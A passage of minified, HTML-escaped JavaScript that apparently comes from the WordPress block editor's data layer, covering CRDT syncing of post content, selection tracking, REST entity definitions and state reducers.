ee[t[e+0]]+ee[t[e+1]]+ee[t[e+2]]+ee[t[e+3]]+&quot;-&quot;+ee[t[e+4]]+ee[t[e+5]]+&quot;-&quot;+ee[t[e+6]]+ee[t[e+7]]+&quot;-&quot;+ee[t[e+8]]+ee[t[e+9]]+&quot;-&quot;+ee[t[e+10]]+ee[t[e+11]]+ee[t[e+12]]+ee[t[e+13]]+ee[t[e+14]]+ee[t[e+15]]}var iy=typeof crypto&lt;&quot;u&quot;&amp;&amp;crypto.randomUUID&amp;&amp;crypto.randomUUID.bind(crypto),oc={randomUUID:iy};function cy(t,e,r){if(oc.randomUUID&amp;&amp;!e&amp;&amp;!t)return oc.randomUUID();t=t||{};let n=t.random||(t.rng||nc)();if(n[6]=n[6]&amp;15|64,n[8]=n[8]&amp;63|128,e){r=r||0;for(let o=0;o&lt;16;++o)e[r+o]=n[o];return e}return Ld(n)}var Tn=cy;var jo=w(Qe(),1),Nd=w(nr(),1),Vd=w(bn(),1);var Pd=w(bn(),1),ay=500;function ly(t){let e=new Map;return function(r){let n=e.get(r);if(n)return n;let o=Pd.RichTextData.fromHTMLString(r);return e.size&gt;=t&amp;&amp;e.delete(e.keys().next().value),e.set(r,o),o}}var Md=ly(ay);var sc=new WeakMap;function cc(t){if(t instanceof Vd.RichTextData)return t.valueOf();if(Array.isArray(t))return t.map(cc);if(t&amp;&amp;typeof t==&quot;object&quot;){let e={};for(let[r,n]of Object.entries(t))e[r]=cc(n);return e}return t}function uy(t,e){let r={...e};for(let[n,o]of Object.entries(e)){if(hy(t,n)){delete r[n];continue}r[n]=cc(o)}return r}function Bd(t){return t.map(e=&gt;{let{name:r,innerBlocks:n,attributes:o,...s}=e;return delete s.validationIssues,{...s,name:r,attributes:uy(r,o),innerBlocks:Bd(n)}})}function ac(t,e){if(t?.type===&quot;rich-text&quot;&amp;&amp;typeof e==&quot;string&quot;)return Md(e);if(Array.isArray(e))return e.map(r=&gt;ac(t,r));if(e&amp;&amp;typeof e==&quot;object&quot;){let r={};for(let[n,o]of Object.entries(e))r[n]=ac(t?.query?.[n],o);return r}return e}function uc(t){return t.map(e=&gt;{let{name:r,innerBlocks:n,attributes:o,...s}=e,i={...o};for(let[c,a]of Object.entries(o)){let u=Fo(r,c);u&amp;&amp;(i[c]=ac(u,a))}return{...s,name:r,attributes:i,innerBlocks:uc(n??[])}})}function lc(t,e){let r=e.toJSON(),n={innerBlocks:null,clientId:null},o=(0,jo.default)(Object.assign({},t,n),Object.assign({},r,n)),s=t.innerBlocks||[],i=e.get(&quot;innerBlocks&quot;);return o&amp;&amp;s.length===i?.length&amp;&amp;s.every((c,a)=&gt;lc(c,i.get(a)))}function jd(t,e){return new C.Map(Object.entries(e).map(([r,n])=&gt;[r,Fd(t,r,n)]))}function Fd(t,e,r){return Gd(t,e)?new C.Text(r?.toString()??&quot;&quot;):r}function Yd(t){return Po(Object.fromEntries(Object.entries(t).map(([e,r])=&gt;{switch(e){case&quot;attributes&quot;:return[e,jd(t.name,r)];case&quot;innerBlocks&quot;:{let n=new C.Array;return Array.isArray(r)?(n.insert(0,r.map(o=&gt;Yd(o))),[e,n]):[e,n]}default:return[e,r]}})))}function dc(t,e,r){sc.has(e)||sc.set(e,Bd(e));let n=sc.get(e)??[],o=Math.min(n.length??0,t.length),s=0,i=0;for(;s&lt;o&amp;&amp;lc(n[s],t.get(s));s++);for(;i&lt;o-s&amp;&amp;lc(n[n.length-i-1],t.get(t.length-i-1));i++);let c=o-s-i,a=Math.max(0,n.length-t.length),u=Math.max(0,t.length-n.length);for(let d=0;d&lt;c;d++,s++){let f=n[s],h=t.get(s);Object.entries(f).forEach(([p,g])=&gt;{switch(p){case&quot;attributes&quot;:{let m=h.get(p);if(!m){h.set(p,jd(f.name,g));break}Object.entries(g).forEach(([y,E])=&gt;{let _=m?.get(y);(!fy(f.name,y,_)||!(0,jo.default)(_,E))&amp;&amp;dy(f.name,y,E,m,r)}),m.forEach((y,E)=&gt;{g.hasOwnProperty(E)||m.delete(E)});break}case&quot;innerBlocks&quot;:{let m=h.get(p);m instanceof C.Array||(m=new C.Array,h.set(p,m)),dc(m,g??[],r);break}default:(0,jo.default)(f[p],h.get(p))||h.set(p,g)}}),h.forEach((p,g)=&gt;{f.hasOwnProperty(g)||h.delete(g)})}t.delete(s,u);for(let d=0;d&lt;a;d++,s++){let f=[Yd(n[s])];t.insert(s,f)}let l=new Set;for(let d=0;d&lt;t.length;d++){let f=t.get(d),h=f.get(&quot;clientId&quot;);h&amp;&amp;(l.has(h)&amp;&amp;(h=Tn(),f.set(&quot;clientId&quot;,h)),l.add(h))}}function dy(t,e,r,n,o){let s=Gd(t,e),i=n.get(e);s&amp;&amp;typeof r==&quot;string&quot;&amp;&amp;n.has(e)&amp;&amp;i instanceof C.Text?fc(i,r,o):n.set(e,Fd(t,e,r))}var Bo;function Fo(t,e){if(!Bo){Bo=new Map;for(let r of(0,Nd.getBlockTypes)())Bo.set(r.name,new Map(Object.entries(r.attributes??{}).map(([n,o])=&gt;{let{role:s,type:i,query:c}=o;return[n,{role:s,type:i,query:c}]})))}return Bo.get(t)?.get(e)}function fy(t,e,r){let n=Fo(t,e)?.type;return n===&quot;rich-text&quot;?r instanceof C.Text:n===&quot;string&quot;?typeof r==&quot;string&quot;:!0}function hy(t,e){return Fo(t,e)?.role===&quot;local&quot;}function Gd(t,e){return Fo(t,e)?.type===&quot;rich-text&quot;}var ic;function fc(t,e,r=null){ic||(ic=new C.Doc);let n=ic.getText(&quot;temporary-text&quot;);n.delete(0,n.length),n.insert(0,e);let o=new tc(t.toDelta()),s=new tc(n.toDelta()),i=o.diffWithCursor(s,r);t.applyDelta(i.ops)}var Go=w(W(),1),hc=w(Ar(),1),Hd=w(nr(),1);var py=5,Ur=(t=&gt;(t.RelativeSelection=&quot;RelativeSelection&quot;,t.BlockSelection=&quot;BlockSelection&quot;,t))(Ur||{});function zd(t,e=py){let r=[],n=()=&gt;r.slice(0),o=i=&gt;{if(!i?.selectionStart?.clientId||!i?.selectionEnd?.clientId)return;let{selectionStart:c,selectionEnd:a}=i,u=$d(c,t),l=$d(a,t);s({start:u,end:l})},s=i=&gt;{let c=i.start.clientId,a=i.end.clientId;r=r.filter(u=&gt;!(u.start.clientId===c&amp;&amp;u.end.clientId===a)),r.unshift(i),r.length&gt;e+1&amp;&amp;(r=r.slice(0,e+1))};return{getSelectionHistory:n,updateSelection:o}}function $d(t,e){let r=t.clientId,o=vn(r,e)?.get(&quot;attributes&quot;),s=t.attributeKey,i=s?o?.get(s):void 0;if(!(i instanceof C.Text)||!(s&amp;&amp;r))return{type:&quot;BlockSelection&quot;,clientId:r};let u=t.offset??0,l=C.createRelativePositionFromTypeIndex(i,No(i.toString(),u));return{type:&quot;RelativeSelection&quot;,attributeKey:s,relativePosition:l,clientId:r,offset:u}}var Kd=new WeakMap;function qd(t){let e=Kd.get(t);return e||(e=zd(t),Kd.set(t,e)),e}function $o(t){return qd(t).getSelectionHistory()}function Wd(t,e){return qd(t).updateSelection(e)}function Yo(t,e){if(t.type===Ur.RelativeSelection){let{relativePosition:r,attributeKey:n,clientId:o}=t,s=C.createAbsolutePositionFromRelativePosition(r,e);if(s)return{clientId:o,attributeKey:n,offset:Mo(s.type.toString(),s.index)}}else if(t.type===Ur.BlockSelection)return{clientId:t.clientId,attributeKey:void 0,offset:void 0};return null}function gy(t,e){let{start:r,end:n}=t,o=vn(r.clientId,e),s=vn(n.clientId,e);if(!o||!s)return null;let i=Yo(r,e),c=Yo(n,e);return i===null||c===null?null:{selectionStart:i,selectionEnd:c}}function my(t,e){for(let r of e){let n=gy(r,t);if(n!==null)return n}return null}function Jd(t,e){let r=my(e,t);if(r===null)return;let{getBlock:n}=(0,Go.select)(hc.store),{resetSelection:o}=(0,Go.dispatch)(hc.store),{selectionStart:s,selectionEnd:i}=r;if(s.clientId===i.clientId){let a=n(s.clientId),u=a&amp;&amp;(0,Hd.isUnmodifiedBlock)(a);if(s.offset===0&amp;&amp;i.offset===0&amp;&amp;u&amp;&amp;!s.attributeKey&amp;&amp;!i.attributeKey){let d={clientId:s.clientId},f={clientId:i.clientId};o(d,f,0)}else o(s,i,0)}else o(i,i,0)}function Qd(t,e){if(e.length===0)return null;let{start:r,end:n}=e[0];if(r.type===Ur.BlockSelection||n.type===Ur.BlockSelection)return null;let o=Yo(r,t),s=Yo(n,t);if(!o||!s)return null;let i=o.offset!==r.offset,c=s.offset!==n.offset;return!i&amp;&amp;!c?null:{selectionStart:o,selectionEnd:s}}var Ko=&quot;_crdt_document&quot;,ef=new Set([Ko]);function yy(t,e){let r=yt(t,qe);Object.entries(e).forEach(([n,o])=&gt;{if(typeof o!=&quot;function&quot;){let s=r.get(n);zo(r,n,s,o)}})}function tf(t,e,r){let n=yt(t,qe);if(Object.keys(e).forEach(o=&gt;{if(!r.has(o))return;let s=e[o];if(typeof s!=&quot;function&quot;)switch(o){case&quot;blocks&quot;:{if(!s){n.set(o,void 0);break}let i=n.get(o);i instanceof C.Array||(i=new C.Array,n.set(o,i));let c=e.selection?.selectionStart?.offset??null;dc(i,s,c);break}case&quot;content&quot;:case&quot;excerpt&quot;:case&quot;title&quot;:{let i=n.get(o),c=pc(s);if(o===&quot;title&quot;&amp;&amp;!i?.toString()&amp;&amp;c===&quot;Auto Draft&quot;&amp;&amp;(c=&quot;&quot;),i instanceof C.Text)fc(i,c??&quot;&quot;);else{let a=new C.Text(c??&quot;&quot;);n.set(o,a)}break}case&quot;meta&quot;:{let i=n.get(&quot;meta&quot;);vd(i)||(i=Po(),n.set(&quot;meta&quot;,i)),Object.entries(s??{}).forEach(([c,a])=&gt;{ef.has(c)||zo(i,c,i.get(c),a)});break}case&quot;slug&quot;:{if(!s)break;let i=n.get(o);zo(n,o,i,s);break}default:{let i=n.get(o);zo(n,o,i,s)}}}),e.selection){let o=e.selection;setTimeout(()=&gt;{Wd(t,o)},0)}}function Ey(t){return yt(t,qe).toJSON()}function rf(t,e,r){let n=yt(t,qe),o={},s=Object.fromEntries(Object.entries(n.toJSON()).filter(([a,u])=&gt;{if(!r.has(a))return!1;let l=e[a];switch(a){case&quot;blocks&quot;:{if(t.meta?.get(wd)&amp;&amp;e.content){let d=n.get(&quot;blocks&quot;)?.toJSON()??[];return(0,Zd.__unstableSerializeAndClean)(d).trim()!==pc(e.content)}return!0}case&quot;date&quot;:return l===null||e.modified===l?!1:Lr(l,u);case&quot;meta&quot;:{let d=l??{};o=Object.fromEntries(Object.entries(u??{}).filter(([h])=&gt;ef.has(h)?!1:h in d));let f={...d,...o};return Lr(l,f)}case&quot;status&quot;:return u===&quot;auto-draft&quot;?!1:Lr(l,u);case&quot;content&quot;:case&quot;excerpt&quot;:case&quot;title&quot;:return Lr(pc(l),u);default:return Lr(l,u)}}));s.blocks&amp;&amp;(s.blocks=uc(s.blocks)),typeof s.meta==&quot;object&quot;&amp;&amp;(s.meta={...e.meta,...o});let i=$o(t),c=Qd(t,i);return c&amp;&amp;(s.selection={...c,initialPosition:0}),s}var nf={applyChangesToCRDTDoc:yy,createAwareness:t=&gt;new dd(t),getChangesFromCRDTDoc:Ey},of={applyChangesToCRDTDoc:()=&gt;{},getChangesFromCRDTDoc:()=&gt;({}),shouldSync:(t,e)=&gt;e===null};function pc(t){if(typeof t==&quot;string&quot;)return t;if(t&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;&quot;raw&quot;in t&amp;&amp;typeof t.raw==&quot;string&quot;)return t.raw}function Lr(t,e){return!(0,Xd.default)(t,e)}function zo(t,e,r,n){if(n===void 0){t.delete(e);return}Lr(r,n)&amp;&amp;t.set(e,n)}var M=&quot;id&quot;,wy=[&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;],_y={blocks:{read:t=&gt;(0,Ho.parse)(t.content?.raw??&quot;&quot;),write:t=&gt;({content:(0,Ho.__unstableSerializeAndClean)(t.blocks)})}},qo=[{label:(0,B.__)(&quot;Base&quot;),kind:&quot;root&quot;,key:!1,name:&quot;__unstableBase&quot;,baseURL:&quot;/&quot;,baseURLParams:{_fields:[&quot;description&quot;,&quot;gmt_offset&quot;,&quot;home&quot;,&quot;image_sizes&quot;,&quot;image_size_threshold&quot;,&quot;image_output_formats&quot;,&quot;jpeg_interlaced&quot;,&quot;png_interlaced&quot;,&quot;gif_interlaced&quot;,&quot;name&quot;,&quot;site_icon&quot;,&quot;site_icon_url&quot;,&quot;site_logo&quot;,&quot;timezone_string&quot;,&quot;url&quot;,&quot;page_for_posts&quot;,&quot;page_on_front&quot;,&quot;show_on_front&quot;].join(&quot;,&quot;)},plural:&quot;__unstableBases&quot;},{label:(0,B.__)(&quot;Post Type&quot;),name:&quot;postType&quot;,kind:&quot;root&quot;,key:&quot;slug&quot;,baseURL:&quot;/wp/v2/types&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;postTypes&quot;},{name:&quot;media&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/media&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;mediaItems&quot;,label:(0,B.__)(&quot;Media&quot;),rawAttributes:[&quot;caption&quot;,&quot;title&quot;,&quot;description&quot;],supportsPagination:!0},{name:&quot;taxonomy&quot;,kind:&quot;root&quot;,key:&quot;slug&quot;,baseURL:&quot;/wp/v2/taxonomies&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;taxonomies&quot;,label:(0,B.__)(&quot;Taxonomy&quot;)},{name:&quot;sidebar&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/sidebars&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;sidebars&quot;,transientEdits:{blocks:!0},label:(0,B.__)(&quot;Widget areas&quot;)},{name:&quot;widget&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/widgets&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;widgets&quot;,transientEdits:{blocks:!0},label:(0,B.__)(&quot;Widgets&quot;)},{name:&quot;widgetType&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/widget-types&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;widgetTypes&quot;,label:(0,B.__)(&quot;Widget types&quot;)},{label:(0,B.__)(&quot;User&quot;),name:&quot;user&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/users&quot;,getTitle:t=&gt;t?.name||t?.slug,baseURLParams:{context:&quot;edit&quot;},plural:&quot;users&quot;,supportsPagination:!0},{name:&quot;comment&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/comments&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;comments&quot;,label:(0,B.__)(&quot;Comment&quot;),supportsPagination:!0,syncConfig:of},{name:&quot;menu&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/menus&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;menus&quot;,label:(0,B.__)(&quot;Menu&quot;),supportsPagination:!0},{name:&quot;menuItem&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/menu-items&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;menuItems&quot;,label:(0,B.__)(&quot;Menu Item&quot;),rawAttributes:[&quot;title&quot;],supportsPagination:!0},{name:&quot;menuLocation&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/menu-locations&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;menuLocations&quot;,label:(0,B.__)(&quot;Menu Location&quot;),key:&quot;name&quot;},{label:(0,B.__)(&quot;Global Styles&quot;),name:&quot;globalStyles&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/global-styles&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;globalStylesVariations&quot;,getTitle:()=&gt;(0,B.__)(&quot;Custom Styles&quot;),getRevisionsUrl:(t,e)=&gt;`/wp/v2/global-styles/${t}/revisions${e?&quot;/&quot;+e:&quot;&quot;}`,supportsPagination:!0},{label:(0,B.__)(&quot;Themes&quot;),name:&quot;theme&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/themes&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;themes&quot;,key:&quot;stylesheet&quot;},{label:(0,B.__)(&quot;Plugins&quot;),name:&quot;plugin&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/plugins&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;plugins&quot;,key:&quot;plugin&quot;},{label:(0,B.__)(&quot;Status&quot;),name:&quot;status&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/statuses&quot;,baseURLParams:{context:&quot;edit&quot;},plural:&quot;statuses&quot;,key:&quot;slug&quot;},{label:(0,B.__)(&quot;Registered Templates&quot;),name:&quot;registeredTemplate&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/registered-templates&quot;,key:&quot;id&quot;},{label:(0,B.__)(&quot;Font Collections&quot;),name:&quot;fontCollection&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/font-collections&quot;,baseURLParams:{context:&quot;view&quot;},plural:&quot;fontCollections&quot;,key:&quot;slug&quot;},{label:(0,B.__)(&quot;Icons&quot;),name:&quot;icon&quot;,kind:&quot;root&quot;,baseURL:&quot;/wp/v2/icons&quot;,baseURLParams:{context:&quot;view&quot;},plural:&quot;icons&quot;,key:&quot;name&quot;}],sf={root:{media:{since:&quot;6.9&quot;,alternative:{kind:&quot;postType&quot;,name:&quot;attachment&quot;}}}},Wo=[{kind:&quot;postType&quot;,loadEntities:by},{kind:&quot;taxonomy&quot;,loadEntities:vy},{kind:&quot;root&quot;,name:&quot;site&quot;,plural:&quot;sites&quot;,loadEntities:Cy}],Sy=async(t,e,r,n)=&gt;{let o={};if(!n&amp;&amp;t?.status===&quot;auto-draft&quot;&amp;&amp;(!e.status&amp;&amp;!o.status&amp;&amp;(o.status=&quot;draft&quot;),(!e.title||e.title===&quot;Auto Draft&quot;)&amp;&amp;!o.title&amp;&amp;(!t?.title||t?.title===&quot;Auto Draft&quot;)&amp;&amp;(o.title=&quot;&quot;)),t){let s=`postType/${r}`,i=t.id,c=await pe()?.createPersistedCRDTDoc(s,i);c&amp;&amp;(o.meta={...e.meta,[Ko]:c})}return o};async function by(){let t=(0,xn.default)({path:&quot;/wp/v2/types?context=view&quot;}),e=window._wpCollaborationEnabled?(0,xn.default)({path:&quot;/wp/v2/taxonomies?context=view&quot;}):Promise.resolve({}),[r,n]=await Promise.all([t,e]);return Object.entries(r??{}).map(([o,s])=&gt;{let i=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(o),c=s?.rest_namespace??&quot;wp/v2&quot;,a=new Set([&quot;author&quot;,&quot;blocks&quot;,&quot;content&quot;,&quot;comment_status&quot;,&quot;date&quot;,&quot;excerpt&quot;,&quot;featured_media&quot;,&quot;format&quot;,&quot;meta&quot;,&quot;ping_status&quot;,&quot;slug&quot;,&quot;status&quot;,&quot;sticky&quot;,&quot;template&quot;,&quot;title&quot;,...s.taxonomies?.map(l=&gt;n?.[l]?.rest_base)?.filter(Boolean)??[]]),u={kind:&quot;postType&quot;,baseURL:`/${c}/${s.rest_base}`,baseURLParams:{context:&quot;edit&quot;},name:o,label:s.name,transientEdits:{..._y,selection:!0},mergedEdits:{meta:!0},rawAttributes:wy,getTitle:l=&gt;l?.title?.rendered||l?.title||(i?ga(l.slug??&quot;&quot;):String(l.id)),__unstablePrePersist:(l,d)=&gt;Sy(l,d,o,i),__unstable_rest_base:s.rest_base,supportsPagination:!0,getRevisionsUrl:(l,d)=&gt;`/${c}/${s.rest_base}/${l}/revisions${d?&quot;/&quot;+d:&quot;&quot;}`,revisionKey:i&amp;&amp;!window?.__experimentalTemplateActivate?&quot;wp_id&quot;:M};return u.syncConfig={applyChangesToCRDTDoc:(l,d)=&gt;tf(l,d,a),createAwareness:(l,d)=&gt;{let f=&quot;postType&quot;,h=parseInt(d,10);return new Ud(l,f,o,h)},getChangesFromCRDTDoc:(l,d)=&gt;rf(l,d,a),getPersistedCRDTDoc:l=&gt;l?.meta?.[Ko]||null},u})}async function vy(){let t=await(0,xn.default)({path:&quot;/wp/v2/taxonomies?context=view&quot;});return Object.entries(t??{}).map(([e,r])=&gt;{let o={kind:&quot;taxonomy&quot;,baseURL:`/${r?.rest_namespace??&quot;wp/v2&quot;}/${r.rest_base}`,baseURLParams:{context:&quot;edit&quot;},name:e,label:r.name,getTitle:s=&gt;s?.name,supportsPagination:!0};return o.syncConfig=nf,o})}async function Cy(){let t={label:(0,B.__)(&quot;Site&quot;),name:&quot;site&quot;,kind:&quot;root&quot;,key:!1,baseURL:&quot;/wp/v2/settings&quot;,meta:{}},e=await(0,xn.default)({path:t.baseURL,method:&quot;OPTIONS&quot;}),r={};return Object.entries(e?.schema?.properties??{}).forEach(([n,o])=&gt;{typeof o==&quot;object&quot;&amp;&amp;o.title&amp;&amp;(r[n]=o.title)}),[{...t,meta:{labels:r}}]}var Zt=(t,e,r=&quot;get&quot;)=&gt;{let n=t===&quot;root&quot;?&quot;&quot;:$r(t),o=$r(e);return`${r}${n}${o}`};function lf(t){let{query:e}=t;return e?et(e).context:&quot;default&quot;}function Ry(t,e,r,n){if(r===1&amp;&amp;n===-1)return e;let s=(r-1)*n,i=Math.max(t?.length??0,s+e.length),c=new Array(i);for(let a=0;a&lt;i;a++){let u=a&gt;=s&amp;&amp;a&lt;s+n;c[a]=u?e[a-s]:t?.[a]}return c}function uf(t,e){return Object.fromEntries(Object.entries(t).filter(([r])=&gt;!e.some(n=&gt;Number.isInteger(n)?n===+r:n===r)))}function Ty(t={},e){switch(e.type){case&quot;RECEIVE_ITEMS&quot;:{let r=lf(e),n=e.key||M,o=Array.isArray(e.items)?e.items:[e.items];return{...t,[r]:{...t[r],...Object.fromEntries(o.map(s=&gt;[s?.[n],fs(t?.[r]?.[s?.[n]],s)]))}}}case&quot;REMOVE_ITEMS&quot;:return Object.fromEntries(Object.entries(t).map(([r,n])=&gt;[r,uf(n,e.itemIds)]))}return t}function xy(t={},e){switch(e.type){case&quot;RECEIVE_ITEMS&quot;:{let r=lf(e),{query:n,key:o=M}=e,s=Array.isArray(e.items)?e.items:[e.items],i=n?et(n):{},c=!n||!Array.isArray(i.fields);return{...t,[r]:{...t[r],...s.reduce((a,u)=&gt;{let l=u?.[o];return a[l]=t?.[r]?.[l]||c,a},{})}}}case&quot;REMOVE_ITEMS&quot;:return Object.fromEntries(Object.entries(t).map(([r,n])=&gt;[r,uf(n,e.itemIds)]))}return t}var Iy=(0,af.compose)([Br(t=&gt;&quot;query&quot;in t),jr(t=&gt;t.query?{...t,...et(t.query)}:t),Fn(&quot;context&quot;),Fn(&quot;stableKey&quot;)])((t={},e)=&gt;{if(e.type!==&quot;RECEIVE_ITEMS&quot;||!Array.isArray(e.items))return t;let r=e.key??M;return{itemIds:Ry(t?.itemIds||[],e.items.map(n=&gt;n?.[r]).filter(Boolean),e.page,e.perPage),meta:e.meta}}),Ay=(t={},e)=&gt;{switch(e.type){case&quot;RECEIVE_ITEMS&quot;:return Iy(t,e);case&quot;REMOVE_ITEMS&quot;:let r=e.itemIds.reduce((n,o)=&gt;(n[o]=!0,n),{});return Object.fromEntries(Object.entries(t).map(([n,o])=&gt;[n,Object.fromEntries(Object.entries(o).map(([s,i])=&gt;[s,{...i,itemIds:i.itemIds.filter(c=&gt;!r[c])}]))]));default:return t}},Jo=(0,cf.combineReducers)({items:Ty,itemIsComplete:xy,queries:Ay});function Dy(t={byId:{},queries:{}},e){return e.type===&quot;RECEIVE_USER_QUERY&quot;?{byId:{...t.byId,...e.users.reduce((r,n)=&gt;({...r,[n.id]:n}),{})},queries:{...t.queries,[e.queryID]:e.users.map(r=&gt;r.id)}}:t}function ky(t={},e){return e.type===&quot;RECEIVE_CURRENT_USER&quot;?e.currentUser:t}function Oy(t=void 0,e){return e.type===&quot;RECEIVE_CURRENT_THEME&quot;?e.currentTheme.stylesheet:t}function Uy(t=void 0,e){return e.type===&quot;RECEIVE_CURRENT_GLOBAL_STYLES_ID&quot;?e.id:t}function Ly(t={},e){return e.type===&quot;RECEIVE_THEME_GLOBAL_STYLES&quot;?{...t,[e.stylesheet]:e.globalStyles}:t}function Py(t={},e){return e.type===&quot;RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS&quot;?{...t,[e.stylesheet]:e.variations}:t}var My=t=&gt;(e,r)=&gt;{if(r.type===&quot;UNDO&quot;||r.type===&quot;REDO&quot;){let{record:n}=r,o=e;return n.forEach(({id:{kind:s,name:i,recordId:c},changes:a})=&gt;{o=t(o,{type:&quot;EDIT_ENTITY_RECORD&quot;,kind:s,name:i,recordId:c,edits:Object.entries(a).reduce((u,[l,d])=&gt;(u[l]=r.type===&quot;UNDO&quot;?d.from:d.to,u),{})})}),o}return t(e,r)};function Ny(t){return(0,df.compose)([My,Br(e=&gt;e.name&amp;&amp;e.kind&amp;&amp;e.name===t.name&amp;&amp;e.kind===t.kind),jr(e=&gt;({key:t.key||M,...e}))])((0,In.combineReducers)({queriedData:Jo,edits:(e={},r)=&gt;{switch(r.type){case&quot;RECEIVE_ITEMS&quot;:if((r?.query?.context??&quot;default&quot;)!==&quot;default&quot;)return e;let o={...e},s=Array.isArray(r.items)?r.items:[r.items];for(let c of s){let a=c?.[r.key],u=o[a];if(!u)continue;let l=Object.keys(u).reduce((d,f)=&gt;(!(0,gc.default)(u[f],c[f]?.raw??c[f])&amp;&amp;(!r.persistedEdits||!(0,gc.default)(u[f],r.persistedEdits[f]))&amp;&amp;(d[f]=u[f]),d),{});Object.keys(l).length?o[a]=l:delete o[a]}return o;case&quot;EDIT_ENTITY_RECORD&quot;:let i={...e[r.recordId],...r.edits};return Object.keys(i).forEach(c=&gt;{i[c]===void 0&amp;&amp;delete i[c]}),{...e,[r.recordId]:i}}return e},saving:(e={},r)=&gt;{switch(r.type){case&quot;SAVE_ENTITY_RECORD_START&quot;:case&quot;SAVE_ENTITY_RECORD_FINISH&quot;:return{...e,[r.recordId]:{pending:r.type===&quot;SAVE_ENTITY_RECORD_START&quot;,error:r.error,isAutosave:r.isAutosave}}}return e},deleting:(e={},r)=&gt;{switch(r.type){case&quot;DELETE_ENTITY_RECORD_START&quot;:case&quot;DELETE_ENTITY_RECORD_FINISH&quot;:return{...e,[r.recordId]:{pending:r.type===&quot;DELETE_ENTITY_RECORD_START&quot;,error:r.error}}}return e},revisions:(e={},r)=&gt;{if(r.type===&quot;RECEIVE_ITEM_REVISIONS&quot;){let n=r.recordKey;delete r.recordKey;let o=Jo(e[n],{...r,type:&quot;RECEIVE_ITEMS&quot;});return{...e,[n]:o}}return r.type===&quot;REMOVE_ITEMS&quot;?Object.fromEntries(Object.entries(e).filter(([n])=&gt;!r.itemIds.some(o=&gt;Number.isInteger(o)?o===+n:o===n))):e}}))}function Vy(t=qo,e){return e.type===&quot;ADD_ENTITIES&quot;?[...t,...e.entities]:t}var By=(t={},e)=&gt;{let r=Vy(t.config,e),n=t.reducer;if(!n||r!==t.config){let s=r.reduce((i,c)=&gt;{let{kind:a}=c;return i[a]||(i[a]=[]),i[a].push(c),i},{});n=(0,In.combineReducers)(Object.fromEntries(Object.entries(s).map(([i,c])=&gt;{let a=(0,In.combineReducers)(Object.fromEntries(c.map(u=&gt;[u.name,Ny(u)])));return[i,a]})))}let o=n(t.records,e);return o===t.records&amp;&amp;r===t.config&amp;&amp;n===t.reducer?t:{reducer:n,records:o,config:r}};function jy(t=(0,ff.createUndoManager)()){return t}function Fy(t={},e){switch(e.type){case&quot;EDIT_ENTITY_RECORD&quot;:case&quot;UNDO&quot;:case&quot;REDO&quot;:return{}}return t}function Yy(t={},e){if(e.type===&quot;RECEIVE_EMBED_PREVIEW&quot;){let{url:r,preview:n}=e;return{...t,[r]:n}}return t}function Gy(t={},e){switch(e.type){case&quot;RECEIVE_USER_PERMISSION&quot;:return{...t,[e.key]:e.isAllowed};case&quot;RECEIVE_USER_PERMISSIONS&quot;:return{...t,...e.permissions}}return t}function $y(t={},e){if(e.type===&quot;RECEIVE_AUTOSAVES&quot;){let{postId:r,autosaves:n}=e;return{...t,[r]:n}}return t}function zy(t=[],e){return e.type===&quot;RECEIVE_BLOCK_PATTERNS&quot;?e.patterns:t}function Ky(t=[],e){return e.type===&quot;RECEIVE_BLOCK_PATTERN_CATEGORIES&quot;?e.categories:t}function Hy(t=[],e){return e.type===&quot;RECEIVE_USER_PATTERN_CATEGORIES&quot;?e.patternCategories:t}function qy(t=null,e){return e.type===&quot;RECEIVE_NAVIGATION_FALLBACK_ID&quot;?e.fallbackId:t}function Wy(t={},e){return e.type===&quot;RECEIVE_THEME_GLOBAL_STYLE_REVISIONS&quot;?{...t,[e.currentId]:e.revisions}:t}function Jy(t={},e){return e.type===&quot;RECEIVE_DEFAULT_TEMPLATE&quot;?{...t,[JSON.stringify(e.query)]:e.templateId}:t}function Qy(t={},e){return e.type===&quot;RECEIVE_REGISTERED_POST_META&quot;?{...t,[e.postType]:e.registeredPostMeta}:t}function Xy(t=null,e){return e.type===&quot;RECEIVE_EDITOR_SETTINGS&quot;?e.settings:t}function Zy(t=null,e){return e.type===&quot;RECEIVE_EDITOR_ASSETS&quot;?e.assets:t}function eE(t={},e){switch(e.type){case&quot;SET_SYNC_CONNECTION_STATUS&quot;:{let r=`${e.kind}/${e.name}:${e.key}`;return{...t,[r]:e.status}}case&quot;CLEAR_SYNC_CONNECTION_STATUS&quot;:{let r=`${e.kind}/${e.name}:${e.key}`,{[r]:n,...o}=t;return o}}return t}function tE(t=!0,e){switch(e.type){case&quot;SET_COLLABORATION_SUPPORTED&quot;:return e.supported;case&quot;SET_SYNC_CONNECTION_STATUS&quot;:return 